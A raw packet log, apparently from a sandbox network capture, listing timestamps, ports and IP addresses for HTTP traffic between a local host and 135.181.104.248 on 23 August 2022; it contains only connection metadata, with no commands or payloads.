Aug 23, 2022 03:42:56.036757946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036766052 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.036799908 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036843061 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036866903 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.036891937 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.036961079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.037033081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.037077904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.037103891 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.037130117 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.037189007 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.037190914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.037240028 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.037240028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.037266016 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.037302017 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.046293974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:56.063973904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.064019918 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.064059973 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.064100981 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.064115047 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.064167023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.064181089 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.065450907 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.065491915 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.065531969 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.065537930 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.065562010 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.065577030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.065598965 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.065617085 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.065622091 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.065659046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.065697908 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.065738916 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.065753937 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.065763950 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.065834045 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.065936089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.065978050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066020966 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066037893 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066061974 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066075087 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066106081 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066149950 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066169977 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066189051 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066199064 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066229105 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066231966 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066279888 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066286087 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066318989 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066361904 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066379070 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066402912 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066442966 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066451073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066484928 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066524029 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066541910 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066565037 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066572905 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066606998 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066646099 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066663980 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066688061 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066728115 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066768885 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066783905 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066812038 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066817045 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066852093 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066893101 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066898108 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.066935062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066972971 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.066982031 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067013979 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067018032 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067054987 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067095995 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067106009 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067138910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067178011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067194939 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067218065 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067251921 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067267895 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067306995 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067317963 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067369938 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067419052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067439079 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067460060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067500114 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067506075 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067543983 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067589045 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067594051 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067631960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067636013 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067653894 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067677021 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067715883 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067755938 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067790985 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067796946 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067806005 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067838907 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067882061 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067920923 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067943096 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067959070 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.067964077 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.067975044 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.068005085 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.068044901 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.068084002 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.068093061 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.068116903 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.068128109 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.068145990 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.068178892 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.068353891 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.068403959 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.068423033 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.068443060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.068449974 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.068486929 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.068490982 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.068531990 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.068571091 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.068593025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.068612099 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.068613052 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.068620920 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.068653107 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.068658113 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.068711042 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.069025040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.069097042 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.069968939 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070013046 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070055008 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070094109 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070092916 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070117950 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070128918 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070137978 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070137978 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070188046 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070208073 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070250034 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070261002 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070290089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070298910 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070331097 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070344925 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070373058 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070386887 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070414066 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070432901 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070455074 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070497036 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070516109 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070524931 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070535898 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070539951 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070576906 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070584059 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070617914 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070625067 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070658922 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070662022 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070699930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070704937 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070739985 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070764065 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070780039 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070795059 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070822954 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070835114 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070862055 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070874929 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070904016 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070911884 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070944071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070954084 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.070985079 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.070993900 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071027040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071050882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071065903 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071101904 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071110010 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071116924 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071151018 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071163893 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071190119 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071191072 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071228981 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071234941 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071293116 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071341991 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071367025 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071408987 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071436882 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071444988 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071484089 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071485043 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071523905 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071530104 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071563005 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071574926 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071604013 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071608067 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071643114 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071647882 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071715117 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071737051 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071754932 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071762085 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071795940 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071809053 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071839094 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071839094 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071878910 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071881056 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071918011 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071924925 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071959019 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.071970940 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.071997881 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072038889 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072052002 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.072078943 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072079897 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.072124004 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072156906 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.072169065 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072184086 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.072210073 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072249889 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072280884 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.072289944 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.072289944 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072302103 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.072331905 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072371960 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072387934 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.072412968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072453976 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072468042 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.072494030 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072524071 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.072586060 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.073852062 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.073944092 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.073956966 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.073996067 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.074001074 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.074037075 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.074069023 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.074086905 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.074106932 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.074131012 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.074132919 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.074172974 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.074177980 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.074213028 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.074238062 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.074266911 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.074333906 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.074377060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.074393034 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.074436903 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.074496031 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.074548960 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.075015068 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.075095892 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.075114012 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.075145006 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.075783968 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.075828075 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.075869083 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.075906038 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.075908899 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.075917959 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.075939894 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.075943947 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.075982094 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.076023102 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.076077938 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.076121092 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.076220036 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.076442003 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.076509953 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.076539040 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.076581955 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.076602936 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.076623917 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.076632977 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.076683044 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.076695919 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.076760054 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.076940060 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.076982021 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.077019930 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.077054977 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.077090025 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.077105999 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.077138901 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.077148914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.077198029 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.077208042 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.077249050 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.077291012 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.077296019 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.077311039 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.077323914 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.077336073 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.077357054 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.077388048 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.077420950 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.077466965 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.077480078 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.077537060 CEST	49792	80	192.168.2.4	135.181.104.248
Aug 23, 2022 03:42:56.077949047 CEST	80	49792	135.181.104.248	192.168.2.4
Aug 23, 2022 03:42:56.078027010 CEST	49792	80	192.168.2.4	135.181.104.248
